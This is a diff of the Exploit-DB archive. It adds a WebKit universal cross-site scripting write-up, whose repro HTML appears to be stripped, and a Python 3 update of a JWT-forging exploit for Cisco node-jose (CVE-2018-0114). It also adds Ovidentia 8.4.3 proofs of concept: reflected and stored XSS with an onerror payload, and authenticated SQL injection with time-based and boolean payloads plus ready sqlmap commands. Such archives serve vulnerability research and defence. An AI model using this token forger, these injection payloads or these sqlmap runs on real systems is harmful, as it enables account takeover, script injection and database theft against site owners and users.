diff --git a/exploits/multiple/dos/47162.txt b/exploits/multiple/dos/47162.txt new file mode 100644 index 0000000000..b6968ef9b9 --- /dev/null +++ b/exploits/multiple/dos/47162.txt @@ -0,0 +1,240 @@ +BACKGROUND +As lokihardt@ has demonstrated in https://bugs.chromium.org/p/project-zero/issues/detail?id=1121, +WebKit's support of the obsolete `showModalDialog` method gives an attacker the ability to perform +synchronous cross-origin page loads. In certain conditions, this might lead to +time-of-check-time-of-use bugs in the code responsible for enforcing the Same-Origin Policy. In +particular, the original bug exploited a TOCTOU bug in `SubframeLoader::requestFrame` to achieve +UXSS. + +(copied from lokihardt's report) +``` +bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList) +{ + // Support for + URL scriptURL; + URL url; + if (protocolIsJavaScript(urlString)) { + scriptURL = completeURL(urlString); // completeURL() encodes the URL. + url = blankURL(); + } else + url = completeURL(urlString); + + if (shouldConvertInvalidURLsToBlank() && !url.isValid()) + url = blankURL(); + + Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made. + if (!frame) + return false; + + if (!scriptURL.isEmpty()) + frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom + + return true; +} +``` + +The bug was fixed by inserting an extra access check right in front of the `executeIfJavaScriptURL` +call. +``` +- if (!scriptURL.isEmpty()) ++ if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) + frame->script().executeIfJavaScriptURL(scriptURL); +``` + +It has stopped the original attack, but a year later https://bugs.webkit.org/show_bug.cgi?id=187203 +was reported, which abused the HTML parser to bypass the added check. The problem was that +`isURLAllowed` didn't block `javascript:` URIs when the JavaScript execution context stack was +empty, i.e. when the `requestFrame` call was originating from the parser, so the exploit just needed +to make the parser insert an `iframe` element with a `javascript:` URI and use its `onload` handler +to load a cross-origin page inside `loadOrRedirectSubframe`. + +As a result, another check has been added (see the comment below): +``` ++ bool hasExistingFrame = ownerElement.contentFrame(); + Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); + if (!frame) + return false; + +- if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) ++ // If we create a new subframe then an empty document is loaded into it synchronously and may ++ // cause script execution (say, via a DOM load event handler) that can do anything, including ++ // navigating the subframe. We only want to evaluate scriptURL if the frame has not been navigated. ++ bool canExecuteScript = hasExistingFrame || (frame->loader().documentLoader() && frame->loader().documentLoader()->originalURL() == blankURL()); ++ if (!scriptURL.isEmpty() && canExecuteScript && ownerElement.isURLAllowed(scriptURL)) + frame->script().executeIfJavaScriptURL(scriptURL); +``` + +VULNERABILITY DETAILS +The second fix relies on the assumption that the parser can't trigger a `requestFrame` call for an +`iframe` element with an existing content frame. However, due to the way the node insertion +algorithm is implemented, it's possible to run JavaScript while the element's insertion is still in +progress: + +https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/dom/ContainerNode.cpp#L185 +``` +static ALWAYS_INLINE void executeNodeInsertionWithScriptAssertion(ContainerNode& containerNode, Node& child, + ContainerNode::ChildChangeSource source, ReplacedAllChildren replacedAllChildren, DOMInsertionWork doNodeInsertion) +{ + NodeVector postInsertionNotificationTargets; + { + ScriptDisallowedScope::InMainThread scriptDisallowedScope; + + if (UNLIKELY(containerNode.isShadowRoot() || containerNode.isInShadowTree())) + containerNode.containingShadowRoot()->resolveSlotsBeforeNodeInsertionOrRemoval(); + + doNodeInsertion(); + ChildListMutationScope(containerNode).childAdded(child); + postInsertionNotificationTargets = notifyChildNodeInserted(containerNode, child); + } + +[...] + + ASSERT(ScriptDisallowedScope::InMainThread::isEventDispatchAllowedInSubtree(child)); + for (auto& target : postInsertionNotificationTargets) + target->didFinishInsertingNode(); +[...] +``` + +Note that `HTMLFrameElementBase::didFinishInsertingNode` eventually calls `requestFrame`. So, if a +subtree which is being inserted contains multiple `iframe` elements, the first one can act as a +trigger for the JavaScript code that creates a content frame for another element right before its +`requestFrame` method is executed to bypass the `canExecuteScript` check. `isURLAllowed` again can +be tricked with the help of the HTML parser. + +It's also worth noting that the `showModalDialog` method has to be triggered by a user gesture. On +the other hand, an attacker can't just wrap the exploit in a `click` event handler, as it would put +an execution context on the stack and make the `isURLAllowed` check fail. One way to overcome this +is to save a gesture token by performing an asynchronous load of a `javascript:` URI. + +VERSION +Safari 12.0.3 (14606.4.5) +WebKit r243998 + +REPRODUCTION CASE + +

Click anywhere

+ + + + +From WebKit's bugtracker: + +Unfortunately, even though the patch from https://trac.webkit.org/changeset/244892/webkit +has blocked the original repro case because it relies on executing javascript: URIs synchronously, +the underlying issue is still not fixed. + +Currently, `requestFrame` is implemented as follows: +bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList) +{ +[...] + Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); // ***1*** + if (!frame) + return false; + + if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) { + // FIXME: Some sites rely on the javascript:'' loading synchronously, which is why we have this special case. + // Blink has the same workaround (https://bugs.chromium.org/p/chromium/issues/detail?id=923585). + if (urlString == "javascript:''" || urlString == "javascript:\"\"") + frame->script().executeIfJavaScriptURL(scriptURL); + else + frame->navigationScheduler().scheduleLocationChange(ownerElement.document(), ownerElement.document().securityOrigin(), scriptURL, m_frame.loader().outgoingReferrer(), lockHistory, lockBackForwardList, stopDelayingLoadEvent.release()); // ***2*** + } + + return true; +} + +By the time the subframe loader schedules a JS URI load in [2], the frame might already contain a +cross-origin victim page loaded in [1], so the JS URI might get executed in the cross-origin +context. + +Updated repro: + +

Click anywhere

+ + + +I'd recommend you consider applying a fix similar to the one that the Blink team has in +https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/html/html_frame_element_base.cc?rcl=d3f22423d512b45466f1694020e20da9e0c6ee6a&l=62, +i.e. using the frame's owner document as a fallback for the security check. \ No newline at end of file diff --git a/exploits/multiple/webapps/44324.py b/exploits/multiple/webapps/44324.py index b6046bef24..75fc6192bf 100755 --- a/exploits/multiple/webapps/44324.py +++ b/exploits/multiple/webapps/44324.py @@ -1,14 +1,20 @@ +#!/usr/bin/env python3 + import base64 -import urllib +from urllib.parse import quote_plus import rsa import sys #zi0Black ''' +EDB Note: This has been updated ~ https://github.com/offensive-security/exploitdb/pull/139 + POC of CVE-2018-0114 Cisco node-jose <0.11.0 +Example: python3 44324.py "mypayload" 512 Created by Andrea Cappa aka @zi0Black (GitHub,Twitter,Telegram) +Enhanced for python3 by github.com/eshaan7 Mail: a.cappa@zioblack.xyz Site: https://zioblack.xyz @@ -20,63 +26,64 @@ ''' -def generate_key (key_size): +def generate_key(key_size): #create rsa priv & public key print ("[+]Creating-RSA-pair-key") - (public_key,private_key)=rsa.newkeys(key_size,poolsize=8) + (public_key,private_key) = rsa.newkeys(key_size,poolsize=8) print ("\t[+]Pair-key-created") return private_key, public_key -def to_bytes(n, length, endianess='big'): - h = '%x' % n - s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex') - return s if endianess == 'big' else s[::-1] +def pack_bigint(i): + b = bytearray() + while i: + b.append(i & 0xFF) + i >>= 8 + return b[::-1] def generate_header_payload(payload,pubkey): #create header and payload print ("[+]Assembling-the-header-and-the-payload") - xn = pubkey.n - xe = pubkey.e - n=base64.urlsafe_b64encode(to_bytes(xn,sys.getsizeof(xn),'big')) - e=base64.urlsafe_b64encode(to_bytes(xe,sys.getsizeof(xe),'big')) - headerAndPayload = base64.b64encode('{"alg":"RS256",' + n=base64.urlsafe_b64encode(pack_bigint(pubkey.n)).decode('utf-8').rstrip('=') + e=base64.urlsafe_b64encode(pack_bigint(pubkey.e)).decode('utf-8').rstrip('=') + headerAndPayload = base64.b64encode(('{"alg":"RS256",' '"jwk":{"kty":"RSA",' '"kid":"topo.gigio@hackerzzzz.own",' '"use":"sig",' '"n":"'+n+'",' - '"e":"'+e+'"}}') - headerAndPayload=headerAndPayload+"."+base64.b64encode(payload) - headerAndPayload = headerAndPayload.encode('utf-8').replace("=","") + '"e":"'+e+'"}}').encode()) + headerAndPayload = headerAndPayload+b"."+base64.b64encode(payload) + headerAndPayload = headerAndPayload print ("\t[+]Assembed") return headerAndPayload -def generate_signature (firstpart,privkey): +def generate_signature(firstpart,privkey): #create signature signature = rsa.sign(firstpart,privkey,'SHA-256') - signatureEnc = base64.b64encode(signature).encode('utf-8').replace("=", "") + signatureEnc = base64.b64encode(signature) print ("[+]Signature-created") return signatureEnc def create_token(headerAndPayload,sign): print ("[+]Forging-of-the-token\n\n") - token = headerAndPayload+"."+sign - token = urllib.quote_plus(token) + token = (headerAndPayload+b"."+sign).decode('utf-8').rstrip('=') + token = quote_plus(token) return token - if(len(sys.argv)>0): - payload = str(sys.argv[1]) - key_size = sys.argv[2] + payload = bytes(str(sys.argv[1]).encode('ascii')) + key_size = int(sys.argv[2]) else: - payload = 'somthings' + payload = b'admin' + key_size = int(512) + banner=""" - _____ __ __ ______ ___ ___ __ ___ ___ __ __ _ _ - / ____| \ \ / / | ____| |__ \ / _ \ /_ | / _ \ / _ \ /_ | /_ | | || | - | | \ \ / / | |__ ______ ) | | | | | | | | (_) | ______ | | | | | | | | | || |_ + _____ __ __ ______ ___ ___ __ ___ ___ __ __ _ _ + / ____| \ \ / / | ____| |__ \ / _ \ /_ | / _ \ / _ \ /_ | /_ | | || | + | | \ \ / / | |__ ______ ) | | | | | | | | (_) | ______ | | | | | | | | | || |_ | | \ \/ / | __| |______| / / | | | | | | > _ < |______| | | | | | | | | |__ _| - | |____ \ / | |____ / /_ | |_| | | | | (_) | | |_| | | | | | | | - \_____| \/ |______| |____| \___/ |_| \___/ \___/ |_| |_| |_| by @zi0Black + | |____ \ / | |____ / /_ | |_| | | | | (_) | | |_| | | | | | | | + \_____| \/ |______| |____| \___/ |_| \___/ \___/ |_| |_| |_| by @zi0Black """ if __name__ == '__main__': diff --git a/exploits/php/webapps/47159.txt b/exploits/php/webapps/47159.txt new file mode 100644 index 0000000000..ef945dcec1 --- /dev/null +++ b/exploits/php/webapps/47159.txt @@ -0,0 +1,74 @@ +#------------------------------------------------------- +# Exploit Title: [ Ovidentia CMS - XSS Ovidentia 8.4.3 ] +# Description: [ The vulnerability permits any kind of XSS attacks. Reflected, DOM and Stored XSS. ] +# Date: [ 06/05/2019 ] +# CVE: [ CVE-2019-13977 ] +# Exploit Author: +# [ Fernando Pinheiro (n3k00n3) ] +# [ Victor Flores (UserX) ] +# Vendor Homepage: [ +https://www.ovidentia.org/ +] +# Version: [ 8.4.3 ] +# Tested on: [ Mac,linux - Firefox, safari ] +# Download: [ +http://en.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FDistributions&file=ovidentia-8-4-3.zip&idf=893 +] +# +# [ Kitsun3Sec Research Group ] +#-------------------------------------------------------- + +POC + +>======================================================== + Stored XSS +>======================================================== + +1. POST +http://TARGET/ovidentia/index.php?tg=groups +Field: + nom +2. POST +http://TARGET/ovidentia/index.php?tg=maildoms&idx=create&userid=0&bgrp=y +Fields: + Nom + Description +3. GET +http://TARGET/ovidentia/index.php?tg=delegat +Show groups +4. POST +http://TARGET/ovidentia/index.php?tg=site&idx=create + +http://TARGET/ovidentia/index.php?tg=site&item=4 +Fields: + Nom + address + description +5. POST +http://TARGET/ovidentia/index.php?tg=admdir&idx=mdb&id=1 +Fields: + Libellé du champ + Explosion: +http://TARGET/ovidentia/index.php?tg=forums&idx=notices + +http://TARGET/ovidentia/index.php?tg=admdir&idx=dispdb&id=1 + +http://TARGET/ovidentia/index.php?tg=admdir&idx=lorddb&id=1 +6. POST +http://TARGET/ovidentia/index.php?tg=notes&idx=Create +Fields: Notes + Explosion: +http://TARGET/ovidentia/index.php?tg=notes&idx=List +7. POST +http://TARGET/ovidentia/index.php?tg=admfaqs&idx=Add +Fields: all + Explosion: +http://TARGET/ovidentia/index.php?tg=admfaqs&idx=Categories#bab_faq_2 +>======================================================== + REFLECTED +>======================================================== + +1. GET +http://TARGET/ovidentia/index.php?tg=admoc&idx=addoc&item=%22%3E%3Cimg%20src=x%20onerror=alert(1)%3E + +Sent from [ProtonMail](https://protonmail.com), encrypted email based in Switzerland. \ No newline at end of file diff --git a/exploits/php/webapps/47160.txt b/exploits/php/webapps/47160.txt new file mode 100644 index 0000000000..0eaacfc2f5 --- /dev/null +++ b/exploits/php/webapps/47160.txt @@ -0,0 +1,37 @@ +#------------------------------------------------------- +# Exploit Title: [ Ovidentia CMS - SQL Injection (Authenticated) ] +# Date: [ 06/05/2019 ] +# CVE: [ CVE-2019-13978 ] +# Exploit Author: +# [ Fernando Pinheiro (n3k00n3) ] +# [ Victor Flores (UserX) ] +# Vendor Homepage: [ +https://www.ovidentia.org/ +] +# Version: [ 8.4.3 ] +# Tested on: [ Mac,linux - Firefox, safari ] +# Download [ +http://en.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FDistributions&file=ovidentia-8-4-3.zip&idf=893 +] +# +# [ Kitsun3Sec Research Group ] +#-------------------------------------------------------- + +POC + +Path: /ovidentia/index.php?tg=delegat&idx=mem&id=1 +Type: GET +Vulnerable Field: id +Payload: + 1. tg=delegat&idx=mem&id=1 AND 3152=(SELECT (CASE WHEN (3152=3152) THEN 3152 ELSE (SELECT 9962 UNION SELECT + 2. tg=delegat&idx=mem&id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))QwTg) + +URL: +https://target/ovidentia/index.php?tg=delegat&idx=mem&id=1 +Using Request file +sqlmap.py -r req --random-agent --risk 3 --level 5 --dbms=mysql -p id --dbs + +Using Get +./sqlmap.py -u +[http://target/ovidentia/index.php\?tg\=delegat\&idx\=mem\&id\=1](http://target/ovidentia/index.php/?tg\=delegat\&idx\=mem\&id\=1) +--cookie "Cookie: OV1364928461=6kb5jvu7f6lg93qlo3vl9111f8" --random-agent --risk 3 --level 5 --dbms=mysql -p id --dbs \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 8ec6b67825..dcce2c580a 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -6513,6 +6513,7 @@ id,file,description,date,author,type,platform,port 47131,exploits/windows/dos/47131.py,"WinMPG iPod Convert 3.0 - 'Register' Denial of Service",2019-07-17,stresser,dos,windows, 47148,exploits/linux/dos/47148.py,"BACnet Stack 0.8.6 - Denial of Service",2019-07-22,mmorillo,dos,linux, 47158,exploits/watchos/dos/47158.txt,"Apple iMessage - DigitalTouch tap Message Processing Out-of-Bounds Read",2019-07-24,"Google Security Research",dos,watchos, +47162,exploits/multiple/dos/47162.txt,"WebKit - Universal Cross-Site Scripting due to Synchronous Page Loads",2019-07-25,"Google Security Research",dos,multiple, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -41533,3 +41534,5 @@ id,file,description,date,author,type,platform,port 47152,exploits/php/webapps/47152.txt,"NoviSmart CMS - SQL injection",2019-07-24,n1x_,webapps,php, 47153,exploits/hardware/webapps/47153.html,"Cisco Wireless Controller 3.6.10E - Cross-Site Request Forgery",2019-07-24,"Mehmet Onder",webapps,hardware, 47154,exploits/php/webapps/47154.py,"WordPress Plugin Hybrid Composer 1.4.6 - Improper Access Restrictions",2019-07-24,yasin,webapps,php, +47159,exploits/php/webapps/47159.txt,"Ovidentia 8.4.3 - Cross-Site Scripting",2019-07-25,n3k00n3,webapps,php,80 +47160,exploits/php/webapps/47160.txt,"Ovidentia 8.4.3 - SQL Injection",2019-07-25,n3k00n3,webapps,php,80